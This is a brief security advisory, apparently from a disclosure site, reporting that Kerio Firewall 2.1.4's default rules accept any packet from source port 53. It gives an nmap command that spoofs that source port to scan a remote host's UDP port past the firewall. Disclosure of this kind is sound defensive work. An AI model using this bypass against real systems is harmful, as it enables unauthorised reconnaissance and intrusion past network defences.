|
|
| |
| Kerio develops a free firewall that is shipped with default rules. Every incoming / outgoing packet is compared against the default rule-set. As the first rule accepts incoming packets if remote port is equal to 53 (DNS) the firewall can be easily bypassed by setting the source port of the attack to 53. |
| |
Credit:
The information has been provided by David F. Madrid.
|
| |
Vulnerable systems:
* Kerio Firewall version 2.1.4
Exploit:
Using the following line will allow you to scan port 1900 on a remote server:
nmap -v -P0 -sU -p 1900 192.168.0.5 -g 53
|
|
|
